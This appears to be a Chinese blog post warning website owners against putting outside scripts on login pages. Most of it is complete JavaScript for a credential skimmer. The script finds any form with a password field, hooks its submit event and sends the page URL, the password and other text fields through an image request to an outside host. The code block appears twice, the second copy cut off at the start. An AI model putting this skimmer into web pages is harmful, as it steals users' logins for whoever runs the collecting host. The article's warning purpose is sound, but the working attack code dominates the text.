因为如果你这样做了,对方(脚本作者)可以在神不知鬼不觉的情况下,把你的用户的帐户,密码等信息偷走。
您可能要问:第一、对方如何知道我把脚本放在登陆页面?第二、现在有IE7,XMLHTTP也不可能跨域了,对方如何知道信息?
其实,这两个问题,都很简单。
第一、对方只需用脚本枚举FORM,判断里面的是否包含:<input type="password" />的控件,就可以知道是否是登陆窗体。
第二、没有了 XMLHTTP,还有好多种方法来完成数据的提交,最简单的:
var up = new Image(); up.src=http://xxx.xxx.xxx.xxx/getdata.asp?data=aaa|bbb|ccc;
很简单吧!!我们来看下示例核心代码: function _bho_DataPost(form)
{
var userInfoArray = [];
for(var name in form)
{
userInfoArray.push(name + '=' + escape(form[name]));
}
var userInfo = userInfoArray.join('&');
try
{
//提交数据(这里有密码的哟)
var send = new Image();
send.src = "[url=http://evlon.cnblogs.com/getdata.asp]http://evlon.cnblogs.com/getdata.asp[/url]?" + userInfo;
}
catch(e)
{}
}
/*
功能:得到登陆FORM,如果没有找到,则返回 null
*/
function _bho_getLoginForm()
{
var forms = document.forms;
for(var f = 0; f < forms.length; ++f)
{
var form = forms[f];
var inputs = form.getElementsByTagName("INPUT");
for(var i = 0; i < inputs.length; ++i)
{
if(inputs[i].type.toLowerCase() == "password")
{
return form;
}
}
}
return null;
}
/*
功能:注册事件,HOOK form.submit
*/
function _bho_initEvent()
{
var form = _bho_getLoginForm();
if(form != null)
{
//重写 form 的submit,来拦截密码
form.__submit_ = form.submit;
form.submit = function()
{
_bho_SendPwd();
//如果先执行这里,因为还有事件,我们把 _bho_SendPwd 改成空函数,避免重复提交
_bho_SendPwd = function(){}
return form.__submit_();
}
//注册事件来监听密码提交
form.attachEvent("onsubmit",_bho_SendPwd);
}
}
/*
功能:把将要提交的FORM里面的所有数据提交
*/
function _bho_SendPwd(e)
{
var form = _bho_getLoginForm();
var pwd = '';
var otherInfoArray = [];
var inputs = form.getElementsByTagName("INPUT");
for(var i = 0; i < inputs.length; ++i)
{
if(inputs[i].type.toLowerCase() == "password")
{
pwd = inputs[i].value;
}
else
{
if(inputs[i].type.toLowerCase() == 'text')
{
//为了节省资源,如果没有名字,或者数据长度太长,应该没有什么价值,不用提交了
if(inputs[i].name && inputs[i].name != '' && inputs[i].value.length < 100)
{
otherInfoArray.push(inputs[i].name + '=' + inputs[i].value);
}
}
}
}
var form = [];
form['url'] = window.location.href;
form['pwd'] = pwd;
form['otherInfo'] = otherInfoArray.join('&');
_bho_DataPost(form);
//alert('发送完成');
}
//初始化事件
_bho_initEvent();
如果以上脚本在你的站上执行,唉。。。。。。 {
var userInfoArray = [];
for(var name in form)
{
userInfoArray.push(name + '=' + escape(form[name]));
}
var userInfo = userInfoArray.join('&');
try
{
//提交数据(这里有密码的哟)
var send = new Image();
send.src = "[url=http://evlon.cnblogs.com/getdata.asp]http://evlon.cnblogs.com/getdata.asp[/url]?" + userInfo;
}
catch(e)
{}
}
/*
功能:得到登陆FORM,如果没有找到,则返回 null
*/
function _bho_getLoginForm()
{
var forms = document.forms;
for(var f = 0; f < forms.length; ++f)
{
var form = forms[f];
var inputs = form.getElementsByTagName("INPUT");
for(var i = 0; i < inputs.length; ++i)
{
if(inputs[i].type.toLowerCase() == "password")
{
return form;
}
}
}
return null;
}
/*
功能:注册事件,HOOK form.submit
*/
function _bho_initEvent()
{
var form = _bho_getLoginForm();
if(form != null)
{
//重写 form 的submit,来拦截密码
form.__submit_ = form.submit;
form.submit = function()
{
_bho_SendPwd();
//如果先执行这里,因为还有事件,我们把 _bho_SendPwd 改成空函数,避免重复提交
_bho_SendPwd = function(){}
return form.__submit_();
}
//注册事件来监听密码提交
form.attachEvent("onsubmit",_bho_SendPwd);
}
}
/*
功能:把将要提交的FORM里面的所有数据提交
*/
function _bho_SendPwd(e)
{
var form = _bho_getLoginForm();
var pwd = '';
var otherInfoArray = [];
var inputs = form.getElementsByTagName("INPUT");
for(var i = 0; i < inputs.length; ++i)
{
if(inputs[i].type.toLowerCase() == "password")
{
pwd = inputs[i].value;
}
else
{
if(inputs[i].type.toLowerCase() == 'text')
{
//为了节省资源,如果没有名字,或者数据长度太长,应该没有什么价值,不用提交了
if(inputs[i].name && inputs[i].name != '' && inputs[i].value.length < 100)
{
otherInfoArray.push(inputs[i].name + '=' + inputs[i].value);
}
}
}
}
var form = [];
form['url'] = window.location.href;
form['pwd'] = pwd;
form['otherInfo'] = otherInfoArray.join('&');
_bho_DataPost(form);
//alert('发送完成');
}
//初始化事件
_bho_initEvent();
(改了错别字:-( )